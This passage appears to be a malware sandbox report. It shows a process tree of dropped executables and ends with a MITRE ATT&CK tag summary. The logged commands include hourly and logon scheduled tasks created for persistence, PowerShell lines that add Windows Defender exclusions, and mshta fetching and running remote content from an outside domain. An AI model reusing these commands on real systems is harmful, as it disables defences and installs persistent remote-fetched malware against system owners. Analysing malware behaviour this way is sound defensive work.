- Program crash
PID:2376
-
-
-
C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe"C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe"2⤵
- Executes dropped EXE
PID:1632 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:2540
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:2560
-
-
-
C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe"C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1788
-
-
C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"2⤵
- Executes dropped EXE
PID:1796 -
C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"3⤵PID:3104
-
-
-
C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe"C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe"2⤵
- Executes dropped EXE
PID:1644 -
C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:2988
-
C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe" /SpecialRun 4101d8 29884⤵PID:1552
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force3⤵PID:2552
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force3⤵PID:1988
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe3⤵PID:3068
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe3⤵PID:2508
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe3⤵PID:3080
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵PID:3196
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe3⤵PID:3176
-
-
-
C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe"C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe"2⤵
- Executes dropped EXE
PID:1508
-
-
C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe"C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe"2⤵
- Executes dropped EXE
PID:1360 -
C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com"C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com"3⤵PID:2824
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\93B7.tmp\93B8.tmp\93B9.bat C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com"4⤵PID:2948
-
-
-
C:\Users\Admin\AppData\Local\Temp\XxaQo3Yp.com"C:\Users\Admin\AppData\Local\Temp\XxaQo3Yp.com"3⤵PID:2972
-
-
C:\Users\Admin\AppData\Local\Temp\vdOBKa8e.com"C:\Users\Admin\AppData\Local\Temp\vdOBKa8e.com"3⤵PID:2176
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt4⤵PID:2648
-
-
-
-
C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe"C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe"2⤵PID:2000
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe"C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe"2⤵
- Executes dropped EXE
PID:1636 -
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:2792
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:2856
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:2912
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:2936
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:3052
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:1104
-
-
C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exeC:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe3⤵PID:2232
-
-
-
C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe"C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe"2⤵
- Executes dropped EXE
PID:976
-
-
C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe"C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe"2⤵
- Executes dropped EXE
PID:584
-
-
C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe"C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe"2⤵
- Executes dropped EXE
PID:1180
-
-
C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe"C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe"2⤵
- Executes dropped EXE
PID:336
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe"C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe"2⤵
- Executes dropped EXE
PID:320 -
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2964
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3036
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:624
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:1004
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2504
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3004
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2892
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2496
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2800
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2352
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2336
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:1116
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:596
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:800
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2260
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:1496
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2952
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3156
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3232
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3308
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3504
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3544
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3628
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3936
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:4072
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2104
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:348
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:1744
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3124
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3472
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3500
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2468
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2528
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3752
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:2352
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:4008
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3448
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:4004
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3044
-
-
C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exeC:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe3⤵PID:3776
-
-
-
C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe"C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe"2⤵
- Executes dropped EXE
PID:1372
-
-
C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe"C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe"2⤵
- Executes dropped EXE
PID:1696
-
-
C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe"C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe"2⤵
- Executes dropped EXE
PID:680
-
-
C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe"C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe"2⤵
- Executes dropped EXE
PID:1676
-
-
C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe"C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe"2⤵
- Executes dropped EXE
PID:1516
-
-
C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe"C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe"2⤵
- Executes dropped EXE
PID:1452
-
-
C:\Users\Admin\Documents\GuMSkj6VuBCmDB8bCiQNL_ol.exe"C:\Users\Admin\Documents\GuMSkj6VuBCmDB8bCiQNL_ol.exe"2⤵
- Executes dropped EXE
PID:992
-
-
C:\Users\Admin\AppData\Local\Temp\8DFD.exeC:\Users\Admin\AppData\Local\Temp\8DFD.exe1⤵PID:4052
-
C:\Users\Admin\AppData\Local\Temp\4480.exeC:\Users\Admin\AppData\Local\Temp\4480.exe1⤵PID:3608
-
C:\Windows\system32\taskeng.exetaskeng.exe {470456BE-802C-47CB-82D2-A4921C39E21E} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]1⤵PID:3344
-
C:\Users\Admin\AppData\Roaming\ctfidibC:\Users\Admin\AppData\Roaming\ctfidib2⤵PID:2672
-
C:\Users\Admin\AppData\Roaming\ctfidibC:\Users\Admin\AppData\Roaming\ctfidib3⤵PID:2244
-
-
-
C:\Users\Admin\AppData\Roaming\ctfidibC:\Users\Admin\AppData\Roaming\ctfidib2⤵PID:804
-
C:\Users\Admin\AppData\Roaming\ctfidibC:\Users\Admin\AppData\Roaming\ctfidib3⤵PID:4240
-
-
-
C:\Users\Admin\AppData\Local\Temp\2925.exeC:\Users\Admin\AppData\Local\Temp\2925.exe1⤵PID:1352
-
C:\Users\Admin\AppData\Local\Temp\DD19.exeC:\Users\Admin\AppData\Local\Temp\DD19.exe1⤵PID:3608
-
C:\Windows\SysWOW64\notepad.exenotepad.exe2⤵PID:3116
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -start2⤵PID:3792
-
-
C:\Users\Admin\AppData\Local\Temp\174C.exeC:\Users\Admin\AppData\Local\Temp\174C.exe1⤵PID:3972
-
C:\Users\Admin\AppData\Local\Temp\174C.exeC:\Users\Admin\AppData\Local\Temp\174C.exe2⤵PID:3860
-
-
C:\Users\Admin\AppData\Local\Temp\174C.exeC:\Users\Admin\AppData\Local\Temp\174C.exe2⤵PID:3848
-
-
C:\Users\Admin\AppData\Local\Temp\174C.exeC:\Users\Admin\AppData\Local\Temp\174C.exe2⤵PID:3660
-
-
C:\Users\Admin\AppData\Local\Temp\174C.exeC:\Users\Admin\AppData\Local\Temp\174C.exe2⤵PID:1184
-
-
C:\Users\Admin\AppData\Local\Temp\4F1F.exeC:\Users\Admin\AppData\Local\Temp\4F1F.exe1⤵PID:3720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 14682⤵
- Program crash
PID:4680
-
-
C:\Users\Admin\AppData\Local\Temp\64B3.exeC:\Users\Admin\AppData\Local\Temp\64B3.exe1⤵PID:4536
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4904
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4916
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4924
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4956
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5020
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5036
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4992
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4968
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4936
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1